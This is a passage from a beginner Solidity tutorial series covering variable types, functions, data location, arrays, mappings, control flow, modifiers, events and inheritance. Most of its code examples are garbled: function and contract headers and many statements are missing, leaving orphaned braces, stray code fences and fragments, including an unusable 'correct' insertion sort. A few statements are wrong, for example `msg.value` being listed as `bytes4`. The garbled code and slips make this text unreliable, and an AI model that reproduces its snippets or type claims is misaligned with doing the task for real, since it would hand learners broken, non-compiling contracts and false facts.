You can run the above code and check the values of each variable.

### 3. Addresses

Addresses have following 2 types: 
- `address`: Holds a 20 byte value (size of an Ethereum address).

- `address payable`: Same as `address`, but with the additional members `transfer` and `send` to allow ETH transfers.

Code:

    // Address
    address public _address =

0x7A58c0Be72BE218B41C608b7Fe7C5bB630736C71;
    address payable public _address1 = payable(_address); // payable address (can transfer fund and check balance)
    // Members of address
```

### 4. Fixed-size byte arrays

Byte arrays in Solidity come in two types:

- Fixed-length byte arrays: belong to value types, including `byte`, `bytes8`, `bytes32`, etc, depending on the size of each element (maximum 32 bytes). The length of the array can not be modified after declaration.
- Variable-length byte arrays: belong to reference type, including `bytes`, etc. The length of the array can be modified after declaration. We will learn more detail in later chapters

Code：

    // Fixed-size byte arrays
```

In the above code, we assigned value `MiniSolidity` to the variable `_byte32`, or in hexadecimal: `0x4d696e69536f6c69646974790000000000000000000000000000000000000000`

And `_byte` takes the value of the first byte of `_byte32`, which is `0x4d`.

### 5. Enumeration

Enumeration (`enum`) is a user-defined data type

within Solidity. It is mainly used to assign names to `uint`, which keeps the program easy to read.

Code:

    // Let uint 0,  1,  2 represent Buy, Hold, Sell
    // Create an enum variable called action
    ActionSet action = ActionSet.Buy;
```

It can be converted to `uint` easily:

    // Enum can be converted into uint
    }
```

`enum` is a less popular type in Solidity. 

## Demo in Remix

- After deploying the contract, you can check the values of each variable:

   ![2-1.png](./img/2-1.png)
  
- Conversion between enum and uint:

   ![2-2.png](./img/2-2.png)

   ![2-3.png](./img/2-3.png)

## Summary 

In this chapter, we introduced the variable types in Solidity, they are value type, reference type, mapping type, and function type. Then we introduced commonly used types: boolean, integer, address, fixed-length byte array, and enumeration in value types. We will cover other types in the subsequent tutorials.

#  WTF Solidity Tutorial: 3. Function

---

## Function

Here's the format of a function in Solidity:

    function <function name>(<parameter types>) [internal|external] [pure|view|payable] [returns (<return types>)]
```

It may seem complex, but let's break it down piece by piece (square brackets indicate optional keywords):

1. `function`: To write a function, you need to start with the keyword `function`.

2. `<function name>`: The name of the function.

3. `(<parameter types>)`: The input parameter types and

names.

3. `[internal|external|public|private]`: Function visibility specifiers. There are 4 kinds of them `public` is the default visibility if left empty:

   - `public`: Visible to all.

   - `private`: Can only be accessed within this contract, derived contracts cannot use it.

   - `external`: Can only be called from other contracts. But can also be called by `this.f()` inside the contract, where `f` is the function name. 

   - `internal`: Can only be accessed internal and by contracts deriving from it.

    **Note 1**: `public` is the default visibility for functions.
    
    **Note 2**: `public|private|internal` can be also used on state variables. Public variables will automatically generate `getter` functions for querying values. 
    
    **Note 2**: The default visibility for state variables is `internal`.

4. `[pure|view|payable]`: Keywords that dictate a Solidity functions behavior. `payable` is easy to understand. One can send `ETH` to the contract via `payable` functions. `pure` and `view` are introduced in the next section.

5. `[returns (<return types>)]`: Return variable types and names.

## WTF is `Pure` and `View`?

When I started learning `solidity`, I didn't understand

`pure` and `view` at all, since they are not common in other languages. `solidity` added these two keywords, because of `gas fee`. The contract state variables are stored on block chain, and `gas fee` is very expensive. If you don't rewrite these variables, you don't need to pay `gas`. You don't need to pay `gas` for calling  `pure` and `view` functions.

The following statements are considered modifying the state:

1. Writing to state variables.

2. Emitting events.

3. Creating other contracts.

4. Using selfdestruct.

5. Sending Ether via calls.

6. Calling any function not marked view or pure.

7. Using low-level calls.

8. Using inline assembly that contains certain opcodes.

I drew a Mario cartton to visualize `pure` and `view`. In the picture, the state variable is represented by Princess Peach, keywards are represented by three different characters.

- `pure` : Functions containing `pure` keyword cannot read nor write state variables on-chain. Just like the little monster, it can't see or touch Princess Peach.

- `view`

: Functions containing `view` keyword can read but cannot write on-chain state variables. Similar to Mario, able to see Princess but cannot touch.

- Without `pure` and `view`: Functions can both read and write state variables. Like the `boss` can do whatever he wants.

## Code

We define a state variable `number = 5`

```

Define an `add()` function, add 1 to `number` on every call.

    // default
    }
```

If `add()` contains `pure` keyword, i.e. `function add() pure external`, it will result in an error. Because `pure` cannot read state variable in contract nor write. So what can `pure` do ? i.e. you can pass a parameter `_number` to function, let function returns `_number + 1`.

    // pure
        new_number = _number+1;
    }
```

If `add()` contains `view` , i.e. `function add() view external`, it will also result in error. Because `view` can read, but

cannot write state variable. We can modify the function as follows:

    // view
        new_number = number + 1;
    }
```

    // internal
    }

    // external
        minus();
    }
```

Here we defined an `internal minus()` function, `number` will decrease 1 each time function is called. Since `internal` function can only be called within the contract itself. Therefore, we need to define an `external` `minusCall()` function to call `minus()` internally.

    // payable: money (ETH) can be sent to the contract via this function
        minus();
    }
```

We defined an `external payable minusPayable()` function, which calls `minus()` and return `ETH` balance of the current contract (`this` keyword can let us query current contract address). Since the funciton is `payable`, we can send 1

`ETH` to the contract when calling `minusPayable()`.

We can see that contract balance is 1 `ETH` in return message.

## Summary

In this section, we introduced `solidity` function type. `pure` and `view` keywords are difficult to understand, since they are not common in other languages. You don't need to pay gas fees for calling `pure` or `view` functions, since they don't modify the on-chain data.

# WTF Solidity Tutorial: 4. Function Output (return/returns)

-----

In this chapter, we will introduce `Solidity` function output, including returning multiple values, named returns, and reading full or part of return values using destructuring assignments. 

## Return values (return and returns)
There are two keywords related to function output: `return` and `returns`:
- `returns` is added after the function name to declare variable type and variable name;
- `return` is used in the function body and returns desired

variables.

    // returning multiple variables
        }
```
In the above code, the `returnMultiple()` function has multiple outputs: `returns (uint256, bool, uint256[3] memory) `, and then we specify the return variables/values in the function body with `return (1, true, [uint256 (1), 2,5]) `.

## Named returns
We can indicate the name of the return variables in `returns`, so that `solidity` automatically initializes these variables, and automatically returns the values of these functions without adding the `return` keyword.

    // named returns
    }
```
In the above code, we declare the return variable type and variable name with `returns (uint256 _number, bool _bool, uint256[3] memory _array) `. Thus, we only need to assign values to the variable ` _number`, ` _bool ` and ` _array `in the function body, and they will automatically return.

Of course, you can also return variables

with `return` keyword in named returns:
    // Named return, still support return
    }
```
## Destructuring assignments
`Solidity` internally allows tuple types, i.e. a list of objects of potentially different types whose number is a constant at compile-time. The tuples can be used to return multiple values at the same time.

- Variables declared with type and assigned from the returned tuple, not all elements have to be specified (but the number must match):
```
- Assign part of return values: Components can be left out. In the following code, we only assign the return value ` _bool2 `, but not ` _ number` and ` _array `:
```

## Verify on Remix
- Deploy the contract, and check the return values of the functions.

## Summary
In this section, we introduced function return values `return` and `returns`, including returning multiple variables, named

returns, and reading full or part of return values using destructuring assignments. 

# WTF Solidity Tutorial: 5. Data Storage and Scope

Recently, I have been relearning Solidity, consolidating the finer details, and also writing a "WTF Solidity Tutorial" for newbies to learn. Lectures are updated 1~3 times weekly. 

Everyone is welcomed to follow my Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science)

WTF Academy Discord: [Link](https://discord.gg/5akcruXrsk)

All codebase and tutorial notes are open source and available on GitHub (At 1024 repo stars, course certification is unlocked. At 2048 repo stars, community NFT is unlocked.): [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity)\

-----

## Reference types in Solidity
**Reference Type**: Reference types differ from value types in that they do not store values directly on their own. Instead, reference types store the address/pointer of the data’s location and do not directly share the data. You can modify the underlying data with different variable names. Reference types `array`, `struct` and `mapping`, which take up a lot of storage space. We need to deal with the location of the data storage when using them.

## Data location
There are three types of data

storage locations in solidity: `storage`, `memory` and `calldata`. Gas costs are different for different storage locations. 

The data of a `storage` variable is stored on-chain, similar to the hard disk of a computer, and consumes a lot of `gas`; while the data of `memory` and `calldata` varialbes are temporarily stored in memory, consumes less `gas`. 

General usage:

1. `storage`: The state variables are `storage` by default, which are stored on-chain. 

2. `memory`: The parameters and temporary variables in the function generally use `memory` label, which is stored in memory and not on-chain. 

3. `calldata`: Similar to `memory`, stored in memory, not on-chain. The difference from `memory` is that `calldata` variables cannot be modified, and is generally used for function parameters. Example:

        //The parameter is the calldata array, which cannot be modified.
        // _x[0] = 0 //This modification will report an error.
    }
```

### Data location and assignment behaviour

Data locations are not only relevant for persistency of

data, but also for the semantics of assignments:

1. When `storage` (a state variable of the contract) is assigned to the local `storage` (in a function), a reference will be created, and changing value of the new variable will affect the original one. Example:
    uint[] x = [1,2,3]; // state variable: array x

        //Declare a storage variable xStorage, pointing to x. Modifying xStorage will also affect x
    }
```

2. Assigning `storage` to `memory` creates independent copies, and changes to one will not affect the other; and vice versa. Example:
    
        //Declare a variable xMemory of Memory, copy x. Modifying xMemory will not affect x
    }
```

3. Assigning `memory` to `memory` will create a reference, and changing the new variable will affect the original variable.

4. Otherwise, assigning a variable to `storage` will create independent copies, and modifying one will not affect the

other.

## Variable scope
There are three types of variables in `Solidity` according to their scope: state variables, local variables, and global variables.

### 1. State variables
State variables are variables whose data is stored on-chain and can be accessed by in-contract functions, but their `gas` consumption is high. 

State variables are declared inside the contract and outside the functions:
```

We can change the value of the state variable in a function:

        // You can change the value of the state variable in the function
        x = 5;
        y = 2;
        z = "0xAA";
    }
```

### 2. Local variable
Local variables are variables that are only valid during function execution; they are invalid after function exit. The data of local variables are stored in memory, not on-chain, and their `gas` consumption is low. 

Local variables are declared inside a function:
        uint xx = 1;
        uint yy = 3;
    }
```

### 3. Global variable
Global variables are variables that work in the global scope and are

reserved keywords for `solidity`. They can be used directly in functions without declaring them:

    }
```
In the above example, we use three global variables: `msg.sender`, `block.number` and `msg.data`, which represent the sender of the message (current call), current block height, and complete calldata. 

Below are some commonly used global variables:

- `blockhash(uint blockNumber)`: (`bytes32`)         The hash of the given block - only applies to the 256 most recent block. 
- `block.coinbase`             : (`address payable`) The address of the current block miner
- `block.gaslimit`             : (`uint`)            The gaslimit of the current block
- `block.number`               : (`uint`)            Current block number
- `block.timestamp`            : (`uint`)            The timestamp of the current block, in seconds since the unix epoch
- `gasleft()`                  : (`uint256`)         Remaining gas
- `msg.data`                   : (`bytes calldata`)  Complete calldata
- `msg.sender`                 : (`address payable`) Message sender (current caller)
- `msg.sig`                    : (`bytes4`)          first four bytes

of the calldata (i.e. function identifier)
- `msg.value`                  : (`bytes4`)          number of wei sent with the message

## Summary
In this chapter, we introduced reference types, data storage locations and variable scopes in `solidity`. There are three types of data storage locations: `storage`, `memory` and `calldata`. Gas costs are different for different storage locations. The variable scope include state variables, local variables and global variables.

# WTF Solidity Tutorial: 6. Array & Struct

-----

In this lecture, we will introduce two important variable types in Solidity: `array` and `struct`.

## Array

An `array` is a variable type commonly used in Solidity to store a set of data (integers, bytes, addresses, etc.).

There are two types of arrays: fixed-sized and dynamically-sized arrays.：

- fixed-sized arrays: The length of the array is specified at the time of declaration. An `array` is declared in the format `T[k]`, where `T` is the element type and `k` is the length.

    //

fixed-length array
    byte[5] array2;
```

- Dynamically-sized array（dynamic array）：Length of the array is not specified during declaration.  It uses the format of `T[]`, where `T` is the element type. `bytes` is special case, it is a dynamic array, but you don't need to add `[]` to it.

    // variable-length array
    byte[] array5;
    bytes array7;
```

### Rules for creating arrays

In Solidity, there are some rules for creating arrays：

- For a `memory` dynamic array, it can be created with the `new` operator, but the length must be declared, and the length cannot be changed after the declaration. For example：

    // memory dynamic array
```

- Array literal are arrays in the form of one or more expressions, and are not immediately assigned to variables; such as `[uint(1),2,3]` (the type of the first element needs to be declared, otherwise the type with the smallest storage space is used by default).

- When creating a dynamic array, you need an element-by-element assignment.

    uint[] memory x = new

uint[](3);
    x[0] = 1;
    x[1] = 3;
    x[2] = 4;
```

### Members of Array

- `length`: Arrays have a `length` member containing the number of elements, and the length of a `memory` array is fixed after creation.
- `push()`: Dynamic arrays have a `push()` member function that adds a `0` element at the end of the array.
- `push(x)`: Dynamic arrays have a `push(x)` member function, which can add an `x` element at the end of the array.
- `pop()`: Dynamic arrays have a `pop()` member that removes the last element of the array.

## Struct

You can define new types in the form of `struct` in Solidity:

    // struct
    }

    Student student; // Initially a student structure
```

Elements of `struct` can be primitive types or reference types. And `struct` can be the element for `array` or `mapping`. There are two ways to assign values to `struct`:

    //  assign value to structure
    // Method 1: Create a storage struct reference in the function
   
   }
```

     // Method 2: Directly refer to the struct of the state variable
    }
```

## Summary

In this lecture, we introduced the basic usage of `array` and `struct` in Solidity. In the next lecture, we will introduce the hash table in Solidity - `mapping`。

# WTF Solidity Tutorial: 7. Mapping

-----

In this section, we will introduce the hash table in Solidity: `mapping` type.

## Mapping

With `mapping` type, people can query the corresponding `Value` by using a `Key`. For example, a person's wallet address can be queried by their `id`.

The format of declaring the `mapping` is `mapping(_KeyType => _ValueType)`, where `_KeyType` and `_ValueType` are the variable types of `Key` and `Value` respectively. For example:

    mapping(uint => address) public idToAddress; // id maps to

address
    mapping(address => address) public swapPair; // mapping of token pairs, from address to address
```

## Rules of `mapping`

- **Rule 1**: The `_KeyType` should be selected among default types in `solidity` such as ` uint `, `address`, etc. No custom `struct` can be used. However, `_ValueType` can be any custom types. The following example will throw an error, because `_KeyType` uses a custom struct:

      // define a struct
      struct Student{
          uint256 id;
          uint256 score;
      }
      mapping(Student => uint) public testVar;
```

- **Rule 2**: The storage location of the mapping must be `storage`: it can serve as the state variable or the `storage` variable inside function. But it can't be used in arguments or return results of `public` function.

- **Rule 3**: If the mapping is declared as `public` then Solidity will automatically create a `getter` function for you to query for the `Value` by the `Key`.

- **Rule 4**：The syntax of adding a key-value pair to a mapping is `_Var[_Key] = _Value`, where `_Var` is the name of the mapping variable, and `_Key` and `_Value` correspond to the new key-value pair. For example:

    function writeMap (uint _Key, address _Value) public {
       
       idToAddress[_Key] = _Value;
      }
```

## Principle of `mapping`

- **Principle 1**: The mapping does not store any `key` information or length information.

- **Principle 2**: Mapping use `keccak256(key)` as offset to access value.

- **Principle 3**: Since Ethereum defines all unused space as 0, all `key` that are not assigned a `value` will have an initial value of 0.

## Verify on Remix (use `Mapping.sol` as example)

- Deploy `Mapping.sol`

    ![7-1_en](./img/7-1_en.png)

- Check initial value of map `idToAddress`.

    ![7-2_en](./img/7-2_en.png)

- Write new key-value pair

    ![7-3_en](./img/7-3_en.png)

## Summary

In this section，we introduced the `mapping` type in Solidity. So far, we've learned all kinds of common variables.

# WTF Solidity Tutorial: 8. Initial Value

-----

## Initial values of variables

In Solidity, variables declared but not assigned have their initial/default values. In this tutorial, we will introduce the initial values of common variable types.

### Initial values of value types

- `enum`: first element in enumeration
- `address`: `0x0000000000000000000000000000000000000000` (or `address(0)`)
    - `internal`: blank equation
    - `external`: blank

equation

You can use `getter` function of `public` variables to confirm the above initial values:

    enum ActionSet {Buy, Hold, Sell}
    ActionSet public _enum; // first element 0

    function fi() internal{} // internal blank equation
    function fe() external{} // external blank equation
```

### Initial values of reference types

- `mapping`: a `mapping` which all members set to their default values
- `struct`: a `struct` which all members set to their default values

- `array`
    - dynamic array: `[]`
    - static array（fixed-length): a static array where all members set to their default values.

You can use `getter` function of `public` variables to confirm initial values:

    // reference types
    uint[8] public _staticArray; // a static array which all members set to their default values[0,0,0,0,0,0,0,0]
    mapping(uint => address) public _mapping; // a mapping which all members set to their default values
    // a struct which all members set to

their default values 0, 0
    }
```

### `delete` operator

`delete a` will change the value of variable `a` to its initial value.

    // delete operator
        delete _bool2; // delete will make _bool2 change to default(false)
    }
```

- Deploy `InitialValue.sol` and check the initial values of the different types.

    ![](./img/8-1_en.jpg)

- After using the `delete` operator, the value of the variables are reset to their initial values.

    ![](./img/8-2_en.jpg)

## Summary

In this section, we introduced the initial values of variables in Solidity. When a variable is declared but not assigned, its value defaults to the initial value, which is equivalent as `0` represented in its type. The `delete` operator can reset the value of the variable to the initial value.

# WTF Solidity Tutorial: 9. Constant and Immutable

-----

In this section, we will introduce two keywords in Solidity, `constant` and `immutable`. After the state variable are declared with them, you cannot change the values after the contract is compiled. They will restrict the modication of variables and save `gas`. 

Value-typed variables can declare them as `constant` and `immutable`; `string` and `bytes` can be declared as `constant`, but not as `immutable`.

## Constant and immutable

### Constant

The `constant` variable must be

initialized when declared and cannot be changed afterwards. Any modification attempt will cause errors at compilation. 

    // The constant variable must be initialized when declared and cannot be changed after that
    address constant CONSTANT_ADDRESS = 0x0000000000000000000000000000000000000000;
```

### Immutable

The `immutable` variable can be initialized at declaration or in the constructor, so it is more flexible.

    // The immutable variable can be initialized in the constructor and cannot be changed later
```

You can initialize the `immutable` variable using a global variable such as `address(this)`, `block.number`, or a custom function. In the following example, we use the `test()` function to initialize the `IMMUTABLE_TEST` variable to a value of `9`:

    // The immutable variables are initialized with

constructor, so that could use
    }

    }
```

1. After the contract is deployed, initialized values of the `constant` and `immutable` variables can be obtained through the `getter` function. 

2. After the `constant` variable is initialized, the contract cannot be compiled if there is an attempt to change its value. The compiler will throw: `TypeError: Cannot assign to a constant variable.`

3. After the `immutable` variable is initialized, the contract cannot be compiled if there is an attempt to change its value. The compiler will throw: `TypeError: Immutable state variable already initialized.`

## Summary

In this section, we introduced two keywords in Solidity, `constant` and `immutable`. They keep the variables that should not be changed unchanged. It will help to save `gas` while improving the contract's security.

# WTF Solidity Tutorial: 10. Control Flow

-----

In this section, we will introduce control flow in Solidity, and how to use Solidity to implement insertion sort (`InsertionSort`), a program that looks simple but is actually bug-prone.

## Control Flow

Solidity's control flow is similar to other languages, mainly including the following components:

    }else{
    }
}
```

2. `for

loop`

	sum += i;
    }
}
```

3. `while loop`

function whileTest() public pure returns(uint256){
    uint i = 0;
	sum += i;
	i++;
    }
}
```

4. `do-while loop`

    uint i = 0;
    do{
	sum += i;
	i++;
}
```

5. Conditional (`ternary`) operator

The `ternary` operator is the only operator in Solidity that accepts three operands：a condition followed by a question mark (`?`), then an expression `x` to execute if the condition is true followed by a colon (`:`), and finally the expression `y`to execute if the condition is false: `condition ? x : y`. 

This operator is frequently used as an alternative to an `if-else` statement.

// ternary/conditional operator
}
```

In addition, there are `continue` (immediately enter the next loop) and `break` (break out of the

current loop) keywords that can be used.

## `Solidity` Implementation of Insertion Sort

**Note**: Over 90% of people who write the insertion algorithm with Solidity will get it wrong at first try.

### Insertion Sort

The problem solved by the sorting algorithm is to arrange an unordered set of numbers from small to large, such as sorting `[2, 5, 3, 1]` to `[1, 2, 3, 5]`. Insertion Sort (`InsertionSort`) is the simplest sorting algorithm and the first algorithm many people learn in their computer science class. The idea of `InsertionSort` is very simple: from begin to the end, compare each number with the number in front of it. If it is smaller than the number in front, switch their positions. 

The schematic is shown below:

	![InsertionSort](https://i.pinimg.com/originals/92/b0/34/92b034385c440e08bc8551c97df0a2e3.gif)

### Python's Implimentation of `InsertionSort`

We will first look at the Python implimentation of Insertion Sort：

```python
		j = i-1
		while j >=0 and key < arr[j] :
				j -= 1
```

###

Bug shows up after rewriting to Solidity! 

Python version of Insertion Sort takes up 8 lines. We can rewrite it into Solidity by converting functions, variables, loops accordingly. It only takes up 9 lines of code:

    // Insertion Sort (Wrong version）
        
                j--;
            }
        }
    }
```

But when we compile the modified version and try to sort `[2, 5, 3, 1]`. *BOOM!* There are bugs! After long-time debugging, I still could not find where the bug is. I googled "Solidity insertion sort", and found that the insertion algorithm written with Solidity are all wrong, such as: [Sorting in Solidity without Comparison](https://medium.com/coinmonks/sorting-in-solidity-without-comparison-4eb47e04ff0d)

Errors occured in `Remix decoded output`:

### Correct Version of Solidity `InsertionSort`

After a few hours, with the help of a friend in the `Dapp-Learning` community, we finally found the problem. The most commonly used variable type in

Solidity is `uint`, which represent a positive integer. If it takes a negative value, an error `underflow` will be reported. In the above code, the variable `j` may get `-1`, resulting in the corresponding error.

So, we just need to add 1 to `j` so that it can never take a negative value. The correct version of Insertion Sort:

    // Insertion Sort（Correct Version）
            uint j=i;
                j--;
            }
        }
    }
```

Result of the correct code：

   !["Input [2,5,3,1] Output[1,2,3,5]"](https://images.mirror-media.xyz/publication-images/S-i6rwCMeXoi8eNJ0fRdB.png?height=300&width=554)

## Summary

In this lecture, we introduced control flow in Insertion Sort algorithm in Solidity. Solidity looks simple but have many traps. Every month, projects lose millions of dollars because of small bugs in their smart contract. To write a safe contract, we need to master the basics of the Solidity and keep practicing.

---
title: 11. constructor and modifier
tags:
  - solidity
  - basic
  - modifier
---

# WTF Solidity Tutorial: 11. Constructor & Modifier

-----

In this section, we will introduce `constructor` and `modifier` in solidity with a control contract for access control（`Ownable`）.

## Constructor
`constructor` is a special and optional function, which will automatically run once during contract deployment. It can be used to initialize parameters of a contract. For example, it can initialize `owner` address in the

below contract:

   address owner; // define owner variable

   // constructor
      owner = msg.sender; //  set owner to the address of deployer when contract is being deployed
   }
```

**Note**：The syntax of constructor in solidity is not consistent for different versions: Before `solidity 0.4.22`, constructors did not use the `constructor` keyword. Instead, the constructor function has the same name as the contract name. This old syntax is prone to mistakes: the developer may mistakenly name the contract as `Parents`, while the constructor as `parents`. So in `0.4.22` and later version, new syntax of `constructor` is used.

Example of constructor prior to `solidity 0.4.22`：
    // The function with the same name as the contract name(Parents) is constructor
    }
}
```

## Modifier
`modifier` is similar to `decorator` in object-oriented programming, which is used to declare dedicated properties of functions and reduce code redundancy. It's like Iron Man Armor for functions: the function with it will have some magic properties. The popular use case of modiferie is to control

the access for functions, which can only be called by dedicated address, such as contract owner.

![Iron Man's modifier](https://images.mirror-media.xyz/publication-images/nVwXsOVmrYu8rqvKKPMpg.jpg?height=630&width=1200)

Let's define a modifier called `onlyOwner`：
   // define modifier
      require(msg.sender == owner); // check whether caller is address of owner
      _; // if true，continue to run the body of function；otherwise throw an error and revert transaction
   }
```

Functions with `onlyOwner` modifier can only be called by `owner` address：
      owner = _newOwner; // only owner address can run this function and change owner
   }
```
We define a `changeOwner` function, which can change the `owner` of the contract. However, due to the `onlyOwner` modifier, only original contract `owner` can call it; errors will be thrown if others call it. This is the most common way to control smart contract privilege.

### OppenZepplin's implementation of Ownable：
`OppenZepplin` is an organization that maintains a standardized code base for `Solidity`, Their standard

implementation of `Ownable` is as follows：

## Remix Demo example
Here, we take `Owner.sol` as an example.
1. compile and deploy the code in Remix.
2. click `owner` button to view current owner.
    ![](img/11-1_en.jpg)
3. The transaction succeeds when `changeOwner` function is called by the owner address user.
    ![](img/11-2_en.jpg)
4. The transaction fails when `changeOwner` function is called by other addresses.
    ![](img/11-3_en.jpg)

## Summary
In this lecture, we introduced constructor and modifier in `solidity`, and wrote an `Ownable` contract that controls contract privilege.

---
title: 12. Events
tags:
  - solidity
  - basic
  - event
---

# WTF Solidity Tutorial: 12. Events

-----

In this section, we introduce `event` in `solidity` using transferring ERC20 tokens as an example .

## Events
The event in `solidity` are the transaction logs stored on the `EVM` (Ethereum Virtual Machine). They can be emited during function calls and are accessible with the contract address. Events have two characteristics：

- Responsive: Applications (e.g.

[`ether.js`](https://learnblockchain.cn/docs/ethers.js/api-contract.html#id18)) can subscribe and listen to these events through `RPC` interface and respond at frontend.
- Economical: It is cheap to store data with events, costing about 2,000 `gas` each; By comparison, it takes at least 20,000 `gas` to store a new variable on-chain.

### Declare events
The events are declared with the `event` keyword, followed by event name, then the type and name of each parameter to be recorded. Let's take the `Transfer` event from the `ERC20` token contract as an example：
event Transfer(address indexed from, address indexed to, uint256 value);
```
`Transfer` event records three parameters: `from`，`to`, and `value`，which correspond to the address where the tokens are sent, the receiving address, and the number of tokens being transferred. Parameter `from` and `to` are marked with `indexed` keywords, which will be stored at a special data structure known as `topics` and easily queried by programs.

### Emit events

We can emit events in functions. In the following example, each time the `_transfer()` function is called, `Transfer` events will be emitted and corresponding

parameters will be recorded.
    // define _transfer function，execute transfer logic

        _balances[from] = 10000000; // give some initial tokens to transfer address

        _balances[from] -=  amount; // "from" address minus the number of transfer
        _balances[to] += amount; // "to" address adds the number of transfer

        // emit event
    }
```

## EVM Log

EVM uses "Log" to store Solidity events. Each log contains two parts: `topics` and `log`.

![](img/12-3.jpg)

### `Topics`

`Topics` is used to decribe events. Each event contains a maximum of 4 `topics`. Typically, the first `topic` is the event hash: the hash of the event signature. The event hash of `Transfer` event is calculated as follows:

```

Besides event hash, `topics` can include 3 `indexed` parameters, such as the `from` and `to` parameters in `Transfer` event. The anonymous event is special: it does not have a event name and can have 4 `indexed` parameters at

maximum.

`indexed` parameters can be understood as the indexed "key" for events, which can be easily queried by programs. The size of each `indexed` parameter is 32 bytes. For the parameter is larger than 32 bytes, such as `array` and `string`, the hash of the underlying data is stored.

### `Data`

Non-indexed parameters will be stored in the `data` section of the log. They can be interpreted as "value" of the event and can't be retrieved directly. But they can store data with larger size. Therefore, `data` section can be used to store complex data structures, such as arrays and strings. Moreovrer, `data` consumes less gas on storage compared to `topic`.

## Remix Demo
Let's take `Event.sol` contract as an example.

1. Deploy the `Event` contract.

2. Call `_transfer` function to emit `Transfer` event.

![](./img/12-1_en.jpg)

3. Check transaction details to check the emitted event.

### Query event on etherscan

Etherscan is a block explorer that lets you view public data on transactions, smart contracts, and more on the Ethereum blockchain. First, I deployed the contract to an ethereum testnet (Rinkeby or Goerli). Second, I called the `_transfer`

function to transfer 100 tokens. After that, you can check the transaction details on `etherscan`：[URL](https://rinkeby.etherscan.io/tx/0x8cf87215b23055896d93004112bbd8ab754f081b4491cb48c37592ca8f8a36c7)

Click `Logs` button to check the details of the event：

![details of event](https://images.mirror-media.xyz/publication-images/gx6_wDMYEl8_Gc_JkTIKn.png?height=980&width=1772)

There are 3 elements in `Topics`: `[0]` is hash of the event, `[1]` and `[2]` are the `indexed` parameters defined in `Transfer` event (`from` and `to`). The element in `Data` is the non-indexed parameter `amount`.

## Summary
In this lecture, we introduced how to use and query events in `solidity`. Many on-chain analysis tools are based on solidity events, such as `Dune Analytics`.

---
title: 13. Inheritance
tags:
  - solidity
  - basic
---

# WTF Solidity Tutorial: 13. Inheritance

-----

In this section, we introduce inheritance in Solidity, including simple inheritance, multiple inheritance, and inheritance of modifiers and constructors.

## Inheritance
Inheritance is one of the core concepts in object-oriented programming, which can significantly reduce code redundancy. It is a mechanism where you can to derive a class from another class for a hierarchy of classes that share a set of

attributes and methods. In solidity, smart contracts can be viewed objects, which supports inheritance.

### Rules

There are two important keywards for inheritance in Solidity:

- `virtual`: If the functions in the parent contract are expected to be overridden in its child contracts, they should be declared as `virtual`.

- `override`：If the functions in the child contract override the functions in its parent contract, they should be declared as `override`.

**Note 1**: If a function both overrides and is expected to be overridden, it should be labeled as `virtual override`.

**Note 2**: If a `public` state variable is labeled as `override`, its `getter` function will be overriden.

### Simple inheritance

Let's start by writing a simple `Grandfather` contract, which contains 1 `Log` event and 3 functions: `hip()`, `pop()`, `grandfather()`, which outputs a string `"Grandfather"`.

contract Grandfather {

    // Apply inheritance to the following 3 functions: hip(), pop(), man()，then log "Grandfather".
        emit Log("Grandfather");
    }

    }

   function Grandfather() public virtual {
    }
}
```

Let's define another contract called `Father`, which inherits the `Grandfather` contract. The syntax for inheritance is `contract Father is Grandfather`, which is very intuitive. In the `Father` contract, we rewrote the functions `hip()` and `pop()` with the `override` keyword, changing their output to `"Father"`. We also added a new function called `father`, which output a string `"Father"`.

contract Father is Grandfather{
    // Apply inheritance to the following 2 functions: hip() and pop()，then change the log value to "Father".
        emit Log("Father");
    }

    }

    function father() public virtual{
    }
}
```

After deploying the contract, we can see that there are 4 functions in the `Father` contract. The outputs of `hip()` and `pop()` are successfully rewritten with output `"Father"`, while the output of the inherited `grandfather()` function is still `"Gatherfather"`.

### Multiple inheritance

A solidity contract can inherit multiple contracts. The

rules are:

1. For multiple inheritance, parent contracts should be ordered by seniority, from the highest to the lowest. For example: `contract Son is Gatherfather, Father`. A error will be thrown if the order is not correct.

2. If a function exists in multiple parent contracts, it must be overriden in the child contract, otherwise an error will occur.

3. When a function exists in multiple parent contracts, you need to put all parent contract names after the `override` keyword. For example: `override(Grandfather, Father)`.

Example：
contract Son is Grandfather, Father{
    // Apply inheritance to the following 2 functions: hip() and pop()，then change the log value to "Son".
    function hip() public virtual override(Grandfather, Father){
        emit Log("Son");
    }

    function pop() public virtual override(Grandfather, Father) {
    }
```

After deploying the contract, we can see that in the `Son` contract, we successfully rewrote the `hip()` and `pop()` functions, changing the output to `"Son"`, while the `grandfather()` and `father()` functions inherited from its parent contracts remain unchanged.

### Inheritance of modifiers

Likewise, modifiers

in Solidity can be inherited as well. Rules for modifier inheritence are similar as the function inheritance, using the `virtual` and `override` keywords.

        _;
    }
}

    // Calculate _dividend/2 and _dividend/3, but the _dividend must be a multiple of 2 and 3
    }

    // Calculate _dividend/2 and _dividend/3
    }
}
```

`Identifier` contract can directly use the `exactDividedBy2And3` modifier, because it inherits `Base1` contract. We can also rewrite the modifier in the contract:

        _;
    }
```

### Inheritance of constructors

Let first consider a the parent contract `A` with a state

variable `a`, which is initialized in its constructor:

// Applying inheritance to the constructor functions

        a = _a;
    }
}
```

There are two ways for a child contract to inherit the constructor from its parent `A`: 
1. Declare the parameters of the parent constructor at inheritance: 

    contract B is A(1){}
    ```

2. Declare the parameter of the parent constructor in the constructor of the child contract:

    contract C is A {
        constructor(uint _c) A(_c * _c) {}
    }
    ```

### Calling the functions from the parent contracts

There are two ways for a child contract to call the functions of the parent contract:

1. Direct calling：The child contract can directly call the parent's function with `parentContractName.functionName()`. For example:

        function callParent() public{
            Grandfather.pop();
        }
    ```

2. `super` keyword：The child contract can use the `super.functionName()` to call the function in the neareast parent contract in the inheritance hierarchy. Solidity inheritance are declared in a right-to-left order: for `contract Son is Grandfather, Father`, `Father`

contract is closer than the `Grandfather` contract. Thus, `super.pop()` in the `Son` contract will call `Father.pop()` but not `Grandfather.pop()`.

        function callParentSuper() public{
            // call the function one level higher up in the inheritance hierarchy
            super.pop();
        }
    ```

### Diamond inheritance 

In Object-Oriented Programming, the diamond inheritance refers the scenario that a derived class has two or more base classes.

When using the `super` keyword on a diamond inheritance chain, it should be noted that it will call the relevant function of each contract in the inheritance chain, not just the nearest parent contract.

First, we write a base contract called `God`. Then we write two contracts `Adam` and `Eve` inheriting from `God` contract. Lastly, we write another contract `people` inheriting from `Adam` and `Eve`. Each contract has two functions, `foo()` and `bar()`:

